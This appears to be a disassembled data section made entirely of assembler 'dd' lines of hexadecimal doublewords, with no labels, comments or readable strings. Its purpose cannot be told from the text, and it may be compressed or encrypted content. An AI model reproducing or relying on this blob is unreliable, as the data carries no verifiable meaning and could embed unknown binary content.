		dd 8EBF60B9h, 0E7C7A0D7h, 1F6AA88h, 0FE017F94h,	71DBA15Ah
		dd 0A833E895h, 19007A70h, 100918C9h, 1EE6FFD0h,	80847DA3h
		dd 699F3428h, 9314BA1Ch, 0B4037Fh, 3A15B39Bh, 0F822DA5Fh
		dd 18752420h, 945B00B0h, 62950F2Ch, 0E02AD528h,	0B6A45100h
		dd 0DCE89C8Eh, 436E0012h, 13F175EDh, 254CB160h,	564D0010h
		dd 0BCD6F584h, 871C0011h, 265A2ADh, 150C8FDDh, 285DC06Ch
		dd 33FF169Eh, 1FF00EFh,	7DB8AEA7h, 90C5AB1Fh, 75371EC0h
		dd 0B258236Ah, 0AC250048h, 0D92CC0B6h, 0F8F493AFh, 0E0160A00h
		dd 5BA7CFBEh, 0A66D0023h, 0C31FBB0Eh, 0AE003F72h, 2B6E4758h
		dd 48CBE569h, 0D705BD8Ch, 3BB83Eh, 0DDA510B1h, 0D92C026Bh
		dd 0C0807873h, 9C8C807Bh, 35AD3E32h, 368E9600h,	5DA6013Ch
		dd 0D4977E2Ch, 0CF57F705h, 6E92C60Fh, 586E2169h, 51F8BD1Eh
		dd 0AC7F01FDh, 3596C27Ah, 5A2860A4h, 0F1C90A00h, 8934E5ADh
		dd 73FC1419h, 2E008841h, 769748CCh, 0A3025CBDh,	0CA959DE2h
		dd 0E5D340EBh, 8D530088h, 0D7BC2F0Dh, 2A60339Fh, 1204CE0Ch
		dd 0FD1C03DDh, 0DA03E407h, 0C5B801F8h, 0A40C948h, 0FCBE086Dh
		dd 0A81B4F00h, 4A6849h,	39DCB114h, 589C13A4h, 0C6BB910Eh
		dd 5EB7E07Fh, 0DA6644h,	53B0035Bh, 54D725ADh, 2F902000h
		dd 0DC4D3EC6h, 0F15600ABh, 0AC623728h, 980934A7h, 1764FCh
		dd 440E2464h
		dd 24E49276h, 0B3C8D7Bh, 8C8EAD38h, 74695E80h, 20C0559Ch
		dd 0D79F28C8h, 0E7871F7h, 6E180D3Ah, 59E515E0h,	87033C0Ch
		dd 42C945F6h, 48C290E3h, 0FF3B00DBh, 0E20B473h,	5500AD0Ah
		dd 0F64A5112h, 28922A4h, 0A18AB83Bh, 7CC5A81Fh,	32772200h
		dd 2E8B3EBCh, 3E6C3103h, 110A4601h, 0CCD83760h,	4060BD21h
		dd 872B4DA0h, 76A70216h, 7F6662B2h, 108B7C60h, 0F2454B09h
		dd 0D5800123h, 80509CB7h, 1743D729h, 235D76CCh,	3E9BBCD8h
		dd 6B9C94F0h, 116D4900h, 3752320Eh, 7A729Ah, 0C93CB37Dh
		dd 364A51Fh, 0FB02ECB8h, 6F98859Ch, 5B20600Ah, 0AF1E0FB8h
		dd 0DB408A1Bh, 4809413Fh, 32811A00h, 5AB69596h,	0E92A0C74h
		dd 7EC043C3h, 6413FD00h, 7007EC08h, 45CD0032h, 0A6A17B9Ah
		dd 9E0018BAh, 8D7EC2BEh, 127D6987h, 72DE5Bh, 2CAC41C5h
		dd 0B7003C2Dh, 515407D3h, 90DA9548h, 399D0030h,	7A4D7E89h
		dd 0D0E12D2h, 20B8B6A8h, 0BE4234E1h, 0A6100CD3h, 14304118h
		dd 3B8CCF00h, 66FA9631h, 64BB0055h, 8A61B515h, 5A00DB24h
		dd 51A8D418h, 0FD81030Ah, 7792E3F4h, 0CB8A0098h, 7CD9066Bh
		dd 58507DAFh, 7A1E08D0h, 6F4166E5h, 0DA9B46F4h,	7511E4h
		dd 4C6D85F6h, 7F16553Ch, 0CCD9BB26h, 4F9B6F80h,	0E280FBh
		dd 0E04A55Ch, 729EEDB7h, 2B5B2C00h, 0BC9FB4D3h,	191E0065h
		dd 27D939E6h, 181E6310h, 0B4C1E1CBh, 1B7C4A5Ah,	0B44142EDh
		dd 0E024A5CAh, 0DCC00094h, 0E69989FEh, 11EA6D87h, 0E15FAD00h
		dd 3BC17B1Fh, 3CF00B5h,	0E31AC9F6h, 3803E879h, 0A0F36BE9h
		dd 2283B8C7h, 49B4A868h, 3BD5427Ch, 18CEB0E5h, 1B527FFh
		dd 72B449C4h, 0C2ACE964h, 86C01C40h, 4E68C807h,	48C0FF12h
		dd 3945A990h, 758777C5h, 0E06A42A0h, 0BAD057D3h, 677E1B00h
		dd 0A944DDEDh, 638E0119h, 0A6219F97h, 0D27820BBh, 8FD3D8FDh
		dd 80FC58h, 41E6A70h, 0DC9085h,	5183718Eh, 0F50278E8h
		dd 1693B3Bh, 0FA24B29Dh, 0BF60B3BCh, 0F0A800A1h, 0CD0C9E3Ah
		dd 1902A449h, 6978C530h, 0AA9CE04Fh, 71630044h,	6D6F5788h
		dd 100979FCh, 8089D147h, 43AFC6F4h, 50B1041Bh, 0C0757A3Ah
		dd 0F28C7E90h, 0DE5EB400h, 26254A12h, 93520435h, 806C44A5h
		dd 5ABEA8C0h, 0F82B9707h, 3A307645h, 9837CE46h,	0C820700h
		dd 60AFF2C5h, 40168B3Fh, 25EEF000h, 286332DCh, 53EA14B8h
		dd 0A9009A56h, 7D2FF6FFh, 0BC00DB85h, 9F3B06C3h, 2D11A5h
		dd 0FD41D01Bh, 0B2EB0A79h, 81092700h, 0DF6F6AFFh, 0A43D58BBh
		dd 0FEA13504h, 3F18C106h, 95B2D04Ch, 2A87B900h,	22627E91h
		dd 8FB60069h, 5095C84h,	81006A21h, 59152B1Bh, 828C02h
		dd 0F4AAB037h, 55F51001h, 79EDCB01h, 0BF638197h, 8CBDCCh
		dd 0AD0B5D83h, 0DA1C53DBh, 6A92F300h, 372FD1A7h, 3BC90FDh
		dd 1BA455BAh, 1001FC6Fh, 83115B1Ch, 9680D5C1h, 9EC91364h
		dd 0A90EB03Ch, 4118A816h, 4934B145h, 4840CE21h,	730554A7h
		dd 32DF2810h, 0AE9C48E8h, 0B383FE00h, 182FF379h, 74AA8900h
		dd 0C619A29Ah, 4B00042h, 77E550E9h, 1A0F7D84h, 42B4E114h
		dd 0C0793D57h, 0ED3148h, 0BB21BC56h, 0AB8F3F53h, 81781300h
		dd 3CEBE57Bh, 0B45C00DAh, 629CB919h, 0BD079602h, 0FA5A296Dh
		dd 72C5BB02h, 0E56E00Ch, 0BD903B1h, 0AEBDB341h,	0EE2BE43Fh
		dd 0FC53F50Fh, 456040F6h, 7BAC4Ah, 7903848h, 345069EFh
		dd 79CB2E3Fh, 0CD83B401h, 49915B9Ah, 0A8878047h, 0F53641B1h
		dd 7042D0FCh, 0E0D90FA3h, 0F040CDF8h, 2E5DC6DBh, 5F497800h
		dd 0AB07C829h, 0A3930120h, 888BE75Ah, 52947497h, 8074C13Ch
		dd 0A738B02Ah, 51A6C6h,	0A280EFCEh, 99363CD9h, 0A8228100h
		dd 4F5783D3h, 42B600CAh, 0E0D02E18h, 0DB006801h, 6ABBEAE7h
		dd 0C1DDB16Ch, 0A2F461A8h, 6478E693h, 1DFC1138h, 39407B2Fh
		dd 358D70CAh, 0EBE0328h, 996518DCh, 0DDE3800h, 562CB8D5h
		dd 42540068h, 0D6F96CCAh, 5F0F9153h, 66B15E13h,	304685h
		dd 0CB154D63h, 0F14C55AFh, 823CD600h, 52F947DBh, 333B0774h
		dd 109DBFA2h, 0B6AE1072h, 5004353Bh, 68002480h,	0AB16E1F4h
		dd 94A9AC69h, 1B2F071Ch, 0B26B70C6h, 0E0902D76h, 0D94F9F00h
		dd 0B4F41D5Fh, 0BE363A75h, 0CDE00700h, 97C6AC51h, 0E9DA6C01h
		dd 5E500A9Bh, 2C43FC70h, 0B634001h, 8382B534h, 8040A631h
		dd 98ECFE38h, 137DEF14h, 0CE9A00B1h, 544B7AB6h,	757746h
		dd 49A7B10Ah, 32938907h, 64687C07h, 9B40A483h, 170B47Eh
		dd 0CB873BCh, 0D494BFD9h, 0B003A3AEh, 0D79A6BF6h, 71F8042h
		dd 4B9B1C34h, 409D00E0h, 2FBC4305h, 54C6871Ch, 257DD500h
		dd 0B448C20h, 0ACF54CB4h, 0AE6C34A0h, 4200DE6Fh, 223A7A9Eh
		dd 2481A18Dh, 26BFB1Ah,	0F6CAE1F1h, 11F32FC0h, 12533Fh
		dd 225548E6h, 90702B86h, 0A6E09Bh, 0E58540A5h, 0E4DB0AF7h
		dd 0FE324D00h, 0D3977216h, 9E8105CDh, 8054F355h, 7E98940Ch
		dd 2D87CC1Dh, 0F82C90A5h, 0AA1B00C4h, 4567E362h, 0DE8B168h
		dd 93000AB8h, 0AFB4E061h, 4BDC6AF7h, 43BC0A7Fh,	6E8B00CAh
		dd 0BBE291C0h, 0CA17B70Bh, 856F8054h, 0D466A0h,	0DF59EA6Ah
		dd 7CD22F81h, 0C930C503h, 0B85AFEBEh, 0CEB43Ah,	173C8BAh
		dd 6B4FCCF4h, 0B001DF0h, 0DFD1E3C5h, 72C255h, 0C4ABCD45h
		dd 0B7871AB8h, 0CF34271Eh, 9DEE6C0h, 0BA515CB9h, 0E88E00FCh
		dd 0BF08A801h, 6300752Bh, 9F30E1E9h, 21041Bh, 0F6AE4BF3h
		dd 0BD62747Ch, 27A30800h, 0D7D39979h, 72EFC4Eh,	59E70391h
		dd 0F3EC60C0h, 9B4FB2A8h, 0C2249C00h, 1D55118h,	0E8987F1Bh
		dd 0D6CD25C0h, 74DC1087h, 0B0C0F056h, 57232601h, 54203EC5h
		dd 50DDB7D0h, 0CC10E4h,	59AF430Fh, 61AAF878h, 0C65CF1E8h
		dd 0B33E2C04h, 7CA0F00h, 83D171h, 430ECC1Fh, 0DD7851A9h
		dd 8058F1F1h, 0AA0DFEF9h, 0C0D8E117h, 6505D730h, 0D600AD63h
		dd 471CCD2Eh, 3788795h,	0C73B5D27h, 96E24920h, 17CA5C80h
		dd 0C014F471h, 3B2C5143h, 9621E61Fh, 64E070h, 6F594E28h
		dd 0D50F5E84h, 52530402h, 60A6FA34h, 4F3046h, 8426F5Fh
		dd 0B8693F9Dh, 8487310Fh, 7035A0B2h, 0F73399Eh,	9D4C9565h
		dd 1E68A280h, 0DB0099B7h, 0B29EB389h, 0E0A65987h, 70963BD6h
		dd 3B213C80h, 206903A0h, 0EF2DC00h, 6B713FCBh, 0A340007Bh
		dd 0E0ED1468h, 9D00F874h, 2C36849Fh, 722650h, 0E581ECF1h
		dd 0F21DBBB8h, 2159E600h, 1C527C34h, 664200A7h,	4A1F7E5Ch
		dd 8D00120Fh, 0C3EC0CC0h, 0E211140h, 6A1062A5h,	0B3F8C9E0h
		dd 541378A8h, 0A4802724h, 97B92EDDh, 774CD2F8h,	4E590095h
		dd 7AE972CDh, 2F0A008Ah, 0DC365FF7h, 38053AEDh,	3DC7F8FAh
		dd 51BCB44Eh, 0D2D228h,	0C871890h, 3FCCD37Bh, 91E9F11Dh
		dd 0F762C181h, 798122CAh, 80E4DC3Ah, 0FF488290h, 23AF8Fh
		dd 1949AB5Fh, 3C007898h, 0DC439CD2h, 3BC24E21h,	0CA00323Ah
		dd 6B3F8CE9h, 670F6092h, 8009B2ADh, 4A181A50h, 0AA0F03FFh
		dd 56257B48h, 0B89BA900h, 0B110307Ah, 0D80C0085h, 572BA35Eh
		dd 0B303D4CBh, 3BA10F23h, 0F4ADE124h, 0EA076EE0h, 0C9DC033Ch
		dd 0F765B0A6h, 0E091A100h, 8879B882h, 443200C3h, 0D6A7C7A6h
		dd 0FD006CC8h, 939514C9h, 7B59CA9h, 1E8936D4h, 0F826F188h
		dd 32CEDC2Dh, 0AE255400h, 0E361B457h, 7B9D391Eh, 36FE0174h
		dd 8C2EEBA9h, 4FB3D002h, 8E30A33h, 0DC2100AFh, 9FB02EF3h
		dd 0CF50EEFDh, 0F900B41Ch
		dd 5246AFA7h, 6044DE27h, 0E6A9603Eh, 68C836EFh,	1200CE80h
		dd 0B09303F9h, 0DFA44486h, 7C2EE800h, 41278610h, 1FAA0090h
		dd 51985DE0h, 76309A75h, 0DDFEE1E6h, 0C5120014h, 201F9CBBh
		dd 783841F6h, 0E18E06E6h, 7A2954F7h, 3637696h, 0D042FBDAh
		dd 830C3B5h, 0EEA1214Eh, 0C2C50063h, 38BFDE79h,	0C063662Fh
		dd 60ADC58h, 0FD401F50h, 0D7008082h, 71E0BC4Fh,	693D32h
		dd 0A5E9BE9Eh, 44513EC3h, 0AD340A00h, 0C06C0F1Eh, 4DCA00F2h
		dd 0E67D4FE4h, 0C5002DC9h, 23A10EDCh, 0A0C4DA95h, 0FCFFACBBh
		dd 604000CAh, 56A836A5h, 4D00F9F8h, 0EE9883E1h,	373E08h
		dd 3B799F25h, 4FA40B46h, 17A17E00h, 7D09AE51h, 7CEB5C78h
		dd 542790Ah, 730831F1h,	5D208030h, 39B7EB7Fh, 0A1703B6Ah
		dd 804519E4h, 1793B080h, 74326800h, 0E1809771h,	0E3FA1D76h
		dd 0AFC30383h, 78002FEDh, 0EBF0CC43h, 1E363A45h, 8F51193Ch
		dd 10D4898Ch, 62187006h, 1D01603Ah, 4A080C51h, 1180B2E7h
		dd 74D6664Eh, 450C6C25h, 8442D4Ch, 6B21C349h, 26B8D66Eh
		dd 67000266h, 8010CF63h, 28D9B277h, 78CA8F6h, 4890D0C9h
		dd 0F98E8F28h, 19E3F126h, 3588820h, 78C01AF7h, 10006624h
		dd 0D1E4D956h, 89506h, 8D43210Fh, 31421C84h, 0DD278903h
		dd 0F0FBD5E3h, 200E2446h, 48586ECh, 0C09DC555h,	8F3E9299h
		dd 15584000h, 8C94781Ah, 659003D7h, 8B35C3F8h, 0E07509F1h
		dd 79F0D432h, 4400E1E8h, 7B72DD92h, 0F6E040ACh,	2F7790h
		dd 96DCAE36h, 3CDA778h,	41037A74h, 3487D602h, 89EE079h
		dd 3A7C7CC6h, 9580803Eh, 8A751E26h, 0E00B8CC7h,	8222760h
		dd 187668BBh, 10D0C226h, 0DD03E034h, 129BB56Dh,	3DFCE0F6h
		dd 0C00E025Ah, 467727AFh, 9032F963h, 102E29E4h,	0CB88F58Bh
		dd 1B6C884Bh, 85082A89h, 442F2044h, 1145C645h, 80C123D4h
		dd 0CA8B1A49h, 19AA2247h, 2722E222h, 0D0B85857h, 0DF44F150h
		dd 73A84FEh, 44FBC029h,	14A1144Ah, 6F49083Ah, 64D45123h
		dd 52CE4A08h, 2584D610h, 14D34A1Fh, 88C73908h, 9F8820B2h
		dd 485788CCh, 9175FB88h, 1100724Eh, 0A1355D8h, 0E027A9h
		dd 0AEE35481h, 67BE912Bh, 7A60FF00h, 0F5855143h, 0C7275A2h
		dd 2B349CB3h, 5D00EA18h, 36ECFDDEh, 4756F9h, 2C2D31A2h
		dd 4AF649E4h, 7095FB00h, 9AD737BEh, 0A0F475h, 27D061D4h
		dd 0B99E3B83h, 84559800h, 2C04C606h, 0E5690088h, 775885C2h
		dd 6400516Fh, 79251D19h, 5179A53h, 8705BF65h, 0FD68C069h
		dd 0FC006BDAh, 98233212h, 63D2CDh, 97F66AB0h, 0BBD4C7C6h
		dd 832ED000h, 50072D0Dh, 0AC0A0A04h, 2ABC344Dh,	0FA6F074Ch
		dd 636EB769h, 700011E8h, 0AD88B5B3h, 0D57004h, 22844DE3h
		dd 44D7D474h, 0F463CB07h, 0DCD096FBh, 7C764379h, 574E048Ah
		dd 909B87A6h, 0FC1B0E8Ch, 23ACDB1Ch, 0C2178CC0h, 83AF8Fh
		dd 0B6D5F9EAh, 436F33ADh, 3FD27900h, 0F54104F3h, 0DDC1004Ah
		dd 0B5A8F17Dh, 3D00A3F8h, 1F264FB1h, 4EC868h, 0E0D89413h
		dd 6312782Bh, 7B05A900h, 0F8ECEE31h, 45230084h,	39AD6CE8h
		dd 0F2002D13h, 9268BF5h, 14A03CFAh, 0EBBA53E6h,	0AC5E800h
		dd 5DB4F891h, 71F3EA01h, 7B234334h, 0EA817CCCh,	2B9C0AFEh
		dd 5EE41A1h, 8009AB48h,	304AACAFh, 0F0938C33h, 0CBB19846h
		dd 82778Eh, 9FC6C004h, 44A3A44Ch, 706C6800h, 943EF5B0h
		dd 81B100EDh, 5B7C997Ah, 117C4B8Dh, 4975637Bh, 91005671h
		dd 2E1DBA1Ch, 3E139C86h, 0D2004A44h, 0E23BE5BBh, 2300CDC6h
		dd 7B4EE1D8h, 9EC0EFh, 8FCAB065h, 64E859FCh, 8AE7E51Dh
		dd 0BA230DC1h, 0D0E80AF7h, 9E331EB8h, 5349819Ch, 0D486BB42h
		dd 8B034F6Eh, 803C439Dh, 0F5B9D811h, 1F221C30h,	87044067h
		dd 901B31EDh, 85B4BD01h, 9EDCC679h, 2F1F82E0h, 55606622h
		dd 8A00807Bh, 9C04D85Ch, 24343Fh, 0BD31F2E4h, 100BA656h
		dd 6724889Ah, 783F08C0h, 9FD04C00h, 2A708EFFh, 351E0F32h
		dd 0F9606557h, 597F663Ah, 0DD024E00h, 69ACB1ECh, 0F325008Ch
		dd 87B85442h, 57004507h, 0E4039102h, 61993F1Dh,	2937D059h
		dd 362FE8F3h, 391EA71Ch, 67DC6A00h, 0EA077h, 3D3897D4h
		dd 0CB154154h, 4D82E500h, 0F1E76994h, 177B0087h, 869E5FD8h
		dd 9900838Dh, 642F92C3h, 342B08h, 28A6DB91h, 0E4ADFC65h
		dd 7100F498h, 7E3FF8AEh, 0FD4B57h, 54291E5Ah, 0CE0B80Ah
		dd 0BFAB7200h, 4FC749F0h, 2ED6044Eh, 0C3CA2426h, 92E0E92Ah
		dd 0E100ACBDh, 826A2C25h, 0C8A40Eh, 2B988163h, 0DDEFD1Bh
		dd 0B678C700h, 1561718h, 8DA10065h, 0B9A028C1h,	8000CBC2h
		dd 468E415Ah, 9829963Bh, 0FCA40739h, 20433665h,	1C42453Ah
		dd 0F227D402h, 80E9D891h, 73D3AD86h, 5B9800CCh,	0C0CD4852h
		dd 0A43BB645h, 887F1F6Ah, 0C4717244h, 4CD1BC80h, 8C4E24D5h
		dd 7B202CDh, 0BC403F31h, 2A00503Ah, 27F2A85Dh, 0BAE0FA95h
		dd 0F32E07F8h, 0C7473B0Eh, 0FEA1402Dh, 3E005659h, 0C2BC7A3Ah
		dd 1A030Bh, 0B30D4136h,	40EE44B6h, 0ECAFD400h, 0D1886F64h
		dd 6B6903DAh, 0E84B67CBh, 246EA6A8h, 200D2D1Dh,	71E93386h
		dd 0C8050010h, 95FF3C40h, 0D7FA50CAh, 0B33A131Dh, 97A3B9C0h
		dd 648FE81h, 0CF46F070h, 0CD01C86Bh, 3E0FF2C8h,	82EA7197h
		dd 60A25AC4h, 0F2E2FC1Eh, 9D8800EDh, 0A63E0461h, 4A01558Ch
		dd 0F84839C2h, 24E4E0B0h, 0BE0F0067h, 0B50D10C1h, 0D1004E6Bh
		dd 8BDF0670h, 131A5348h, 2F8D2Ah, 0F7CC1D78h, 6300A6DCh
		dd 579F6160h, 3F0EA1A3h, 878E0CABh, 1AE00819h, 8404D18Dh
		dd 0D2766D13h, 0F8F9D03h, 0DBA3C0D0h, 4D6200FAh, 28EC8C70h
		dd 0F300F8C7h, 0EB418803h, 964286h, 8A3AD858h, 65FA629h
		dd 77044EB0h, 0E83C11ABh, 0AAF89080h, 752900D1h, 31D2F25Bh
		dd 0AC3EB715h, 0D96A03FEh, 0E06D7E5Ch, 0E5C79F7Fh, 64FC8061h
		dd 39E198DCh, 6200F3C5h, 985A9722h, 7900242Eh, 16684E82h
		dd 8708D5h, 4CEB39C0h, 7C13DB3Ah, 0B3DCA907h, 0A013966Bh
		dd 0B72080FEh, 1F63005Ch, 0ADE5BD7Bh, 0D6158745h, 5FC7AD3h
		dd 0CAFF274Ch, 5FF95682h, 581E12E0h, 0CC7B4500h, 0DBACAE51h
		dd 0CE980E08h, 33A012FBh, 0E281852h, 0F5641C00h, 9BD379A4h
		dd 0BA5EC4F6h, 0E31480DCh, 0AE008A06h, 0F5E8AFA6h, 7EBDDC3h
		dd 4ABD515Dh, 7D2D53A9h, 9D7A30C8h, 0A60EEDB8h,	3F512CA3h
		dd 0C9C81100h, 0EEB28ACDh, 0B5D1001Ah, 835CF59Ah, 86075035h
		dd 124FD4FBh, 0C1700209h, 4580C0B8h, 0E2B900FDh, 0D597C84Ch
		dd 7013BAAh, 66173835h,	0E04045E8h, 3D777122h, 0C82C1B37h
		dd 0F3610035h, 0B10B5740h, 0CB001F7Ah, 318ADB7Dh, 1BB5525h
		dd 7511F152h, 0F0D94C14h, 0BF007ACAh, 5EF24D5Dh, 0A0A426FFh
		dd 20848CE0h, 0B0F8F63Ch, 8A3D0B30h, 58FF8BE5h,	3A0374A0h
		dd 0E2D37A33h, 0C86523C8h, 4026C200h, 90DB2018h, 84CB07DFh
		dd 912FADA9h, 0D4F71432h, 1031DCF0h, 80DE18EEh,	0B155C24h
		dd 3FE1106h, 62187400h,	0F00B48B7h, 8758041Bh, 4EC78F0Ch
		dd 35102BA7h, 96A7E8Eh,	40F0A58Dh, 0CC250000h, 780F13DDh
		dd 189B9C7h, 0BD062B45h, 3288E0DEh, 129F004Bh, 2A9D60C1h
		dd 0EB0E43DBh, 0A078AA7Fh, 3C39676Ah, 0A822128Bh, 0B9E9011Fh
		dd 62E34951h, 0F790918h, 640500E9h, 0E84FF0h, 0BF3DC1C0h
		dd 0AACBEF7Ah, 6C2CA401h, 0D1A727E7h, 0C53BDCh,	40B33E41h
		dd 6623FAA3h, 0E71EDAFAh
		dd 0CDC06CC1h, 1C0F942Ch, 0A37054h, 82D216B8h, 666B10D9h
		dd 0CA095D00h, 0DA4249F9h, 2DBA1D97h, 9C662Ch, 476FC45Bh
		dd 331E8912h, 3C0BFFFh,	0FCA872D2h, 59CC3896h, 3BE24080h
		dd 517EEC2Eh, 0CD823203h, 0E043FB88h, 1CB45A6Eh, 878EC192h
		dd 20468397h, 3B74013Fh, 0F62B5505h, 0B0877C22h, 458A41B0h
		dd 107D67F0h, 0CCB44F79h, 40EED00h, 326F489Bh, 61F1F01Fh
		dd 2880D5CCh, 0B8BE005Ch, 33E6782Ah, 3700C607h,	85A0CAF9h
		dd 5802E4E0h, 550094E3h, 1CFC2122h, 200EEFF7h, 0A0AB93DEh
		dd 0A784DB49h, 0C3FB01B7h, 0ED47D26Ch, 0A90120E9h, 0D4FFBF0Ch
		dd 139A1871h, 191C8E1h,	0FAC1E519h, 0D594609Ch,	0DA481900h
		dd 726ABA67h, 0C5EF0055h, 2F9A237Fh, 0CEDD1630h, 0DD21E8C0h
		dd 588F57h, 6EF08112h, 0C20D7CC7h, 38D9E40Ah, 0B700BCEDh
		dd 4E73A3E1h, 1687BB3h,	0FF76708Fh, 0CB90D0BEh,	9C54A8E8h
		dd 61E31F00h, 2C8C5AE9h, 0D77C0FEEh, 0AA809D8Fh, 53DEF04Dh
		dd 261D7B04h, 0AD024857h, 80E687A7h, 4D2B2100h,	49DCC765h
		dd 0D38801EAh, 0FD44C9DEh, 0C6D0FB9Ch, 7A010626h, 0B3967CA6h
		dd 0C30226Fh, 7E40BD5h,	9C80598Ah, 9658FE3Ah, 0DD0DCF03h
		dd 0F81084DEh, 3F6B24FCh, 0A70091F1h, 73DF13BFh, 0DC005286h
		dd 7DDDD9F9h, 5EA256h, 0BB8F414Bh, 35CF1DB5h, 0E826E217h
		dd 8C1A00EAh, 171446D6h, 90D8A828h, 85809500h, 6C7D714Ah
		dd 566909BCh, 1C20C6F3h, 4984AED8h, 57421602h, 66BF5928h
		dd 4B2603B4h, 0C40C341Bh, 1710801Fh, 99574685h,	334D30C0h
		dd 0BAC20242h, 4EFF691Eh, 0B6521360h, 9FE8EF00h, 916390CDh
		dd 29C200B0h, 2A642B14h, 0AC1F4448h, 69802119h,	0F09A797Ah
		dd 1B7B1EB6h, 0EB2EC056h, 0CA4AB036h, 80DC5126h, 0E0D0440Fh
		dd 7B8D9480h, 169E418h,	0D9916EEAh, 81972B43h, 8E3DA118h
		dd 3880C9DBh, 0C2097ACFh, 0DE007CC0h, 56D14F64h, 3A3E0134h
		dd 6A80F0EFh, 5C70BFEAh, 7C73D6B7h, 0FF67A314h,	0DB2069Ch
		dd 38F735h, 7B08E11Bh, 6CF6AC31h, 0FBA6A00h, 7373F2Bh
		dd 6616030Bh, 1ED020DCh, 9D84EEB8h, 0D78730FDh,	0BD87B800h
		dd 6B1440FBh, 1E300953h, 60E44Ah, 43F46C39h, 0C8B26500h
		dd 0C357817Eh, 0DC5500B3h, 1E022C7h, 1B00B787h,	0E3DB3F23h
		dd 0C32924h, 936A287Ah,	74DF4665h, 7033C38h, 7F073071h
		dd 0F7815435h, 0F9C02F10h, 0BC01007Eh, 615275C9h, 0B600BEBDh
		dd 0DC0D175Eh, 0B46226h, 7E7A48D7h, 9D7136E6h, 2F273100h
		dd 2C6D7DFBh, 633700A3h, 2534439Bh, 0A8041988h,	0B135E3A9h
		dd 0B71304C1h, 52107E4h, 23B06E36h, 0A2DB80C4h,	8B001993h
		dd 0A5A9D531h, 5B99C6h,	0B4AA446Fh, 0C7E27097h,	0CF005575h
		dd 73C6F8C3h, 15B264h, 0CB28AE09h, 7F1294FDh, 0C8055500h
		dd 8F9ED218h, 247E02E3h, 0E7FCB297h, 0FB84B040h, 287D40BFh
		dd 0D41D02ABh, 0C0EDA619h, 31E25C40h, 1AD09502h, 58EB9E34h
		dd 0D77CB8h, 0E46ECBF4h, 3C3BA931h, 0DB9F1F03h,	1F64EBACh
		dd 8C654AB4h, 0B248F81Eh, 107F090h, 0E6E22783h,	3E7A4580h
		dd 0BB030181h, 0A0AFC180h, 80AAD50Ah, 62F89C30h, 74169717h
		dd 0F1746Dh, 6E96773Ch,	3729552Eh, 8F12D800h, 86F94F20h
		dd 0D154009Eh, 66A48B72h, 0B82607F4h, 9B0FD898h, 2707D702h
		dd 12B0EB90h, 0FADC70h,	4AFC85ECh, 165C8411h, 40777E0Eh
		dd 2A00BABh, 0C839FA4Dh, 0F4122Ch, 3DE3F9E7h, 0B258EAABh
		dd 3EF56A00h, 864B4C76h, 0B89760BAh, 0C86B4460h, 5F9EA500h
		dd 807E1AECh, 0D45107CEh, 0D06FBD91h, 0F56B4D03h, 0A400E55Ah
		dd 23350C9Ch, 9E020534h, 0D4E6DCh, 1D2D43F8h, 0DE00AC61h
		dd 0DF3F9C0Fh, 0FB29C8h, 1863CB4Bh, 542CF1C7h, 3022DE48h
		dd 141B19A9h, 78FF0065h, 6BA6A7E0h, 577575A5h, 649EB6EEh
		dd 0A430AE12h, 0ED31370h, 4B3DE667h, 0E29F4AA0h, 0E0009E89h
		dd 98DAC4DBh, 518C9Ch, 8FB02094h, 55D2970Bh, 7FC78BDh
		dd 0F0619F18h, 86D4D302h, 927580E8h, 813A89ECh,	253F8B62h
		dd 28718064h, 30BF1E34h, 0D58897EDh, 0B63F9CCBh, 8705808Bh
		dd 33E8948Eh, 4BB0073h,	75F5140Eh, 0F804810Ch, 0F2984D48h
		dd 3361C0D0h, 826900ACh, 0F9436C6Eh, 0AA74E8A2h, 106FAB30h
		dd 56459Bh, 3F44CCB8h, 0BB6A593h, 27506400h, 18910F59h
		dd 0FF1418E9h, 8BE53052h, 0CF31ED0Bh, 0B12180D8h, 0CA1A7Dh
		dd 5CF5FDDDh, 0DE308C51h, 52A6F4A0h, 0F754160Ch, 146CC8FAh
		dd 0E8802803h, 0D900983Ah, 2FC5C32h, 0C6E6142Bh, 0A9B69E09h
		dd 65F0A790h, 835101E1h, 8B47E8h, 0DC124267h, 7B955C61h
		dd 80432F3Fh, 0BA5766D1h, 0C01AC574h, 646F5378h, 8112F710h
		dd 70128A3Dh, 0BA568007h, 0C04FD212h, 1CF8CB94h, 40EE762Fh
		dd 982A8B36h, 940E044Bh, 0CF709259h, 787BC07Ah,	17B50C0Fh
		dd 0D4992Ch, 5E126B05h,	0DCE6A5D8h, 0C92A7D01h,	0D853FFEh
		dd 6713E883h, 0BE05678h, 4700E9B6h, 950577EAh, 1CF0C8E4h
		dd 1F741B4Dh, 0A0FA0348h, 25809E8Bh, 2200237Ch,	3075F9BFh
		dd 0EE9A5h, 18D733AFh, 2C55BECBh, 0D608EC0Eh, 0B60192FBh
		dd 0E46FC35Fh, 1F84434h, 3A26756Eh, 60A4159Ah, 7B012760h
		dd 9B39897Ah, 0F0745968h, 4E290016h, 181F5DEAh,	820032E5h
		dd 0B9BB8B40h, 24846DBh, 0AEE1F3C5h, 0B94120DDh, 46003E74h
		dd 5A472881h, 4B42B73Fh, 0FB36A460h, 2D338600h,	0B6D5B31Ah
		dd 7F5CF6C6h, 635801CAh, 0CB903052h, 6562CC14h,	0A5C94705h
		dd 0FCF075ECh, 8CE750E1h, 78EA2ECFh, 68D08B28h,	0DDCA80F5h
		dd 60C6BDECh, 0FA29F930h, 17004D5Fh, 0ED893510h, 64CFACh
		dd 1482ABAAh, 0D061C85Bh, 37495507h, 946FB9DEh,	339F0090h
		dd 5C0E737Eh, 8BEC3D4Bh, 39004A5Ch, 3C378A48h, 0D04D94F1h
		dd 7BC201E0h, 31927DB2h, 49867884h, 3AFCCBDAh, 0A96D16DCh
		dd 2B29600h, 483B0FFCh,	791FB86Ah, 0E3AA4094h, 45C2F09Fh
		dd 105269E0h, 0B6160040h, 337FD71Ch, 251E0E55h,	4261D848h
		dd 21E40CF6h, 0B7E07BDAh, 227F0F7Bh, 24239C71h,	0CCC0A606h
		dd 8C71ABB2h, 8ED3A000h, 0AAC98D5Ch, 0D42503F4h, 80991B27h
		dd 0B18B9A0h, 403F8203h, 0B0DCA1EDh, 304E9469h,	2448A592h
		dd 4652950Eh, 0E0CE00D0h, 37729198h, 3BC673CFh,	0B0AC6001h
		dd 0D01A0082h, 0CCD63DDh, 293FD201h, 4FC575CBh,	0E7EBFF4h
		dd 929A32CCh, 942508A3h, 4079F8A8h, 0AA470500h,	33573858h
		dd 8DF20F1Bh, 1E336E83h, 0B73C4260h, 404046FCh,	5E02AD1Ch
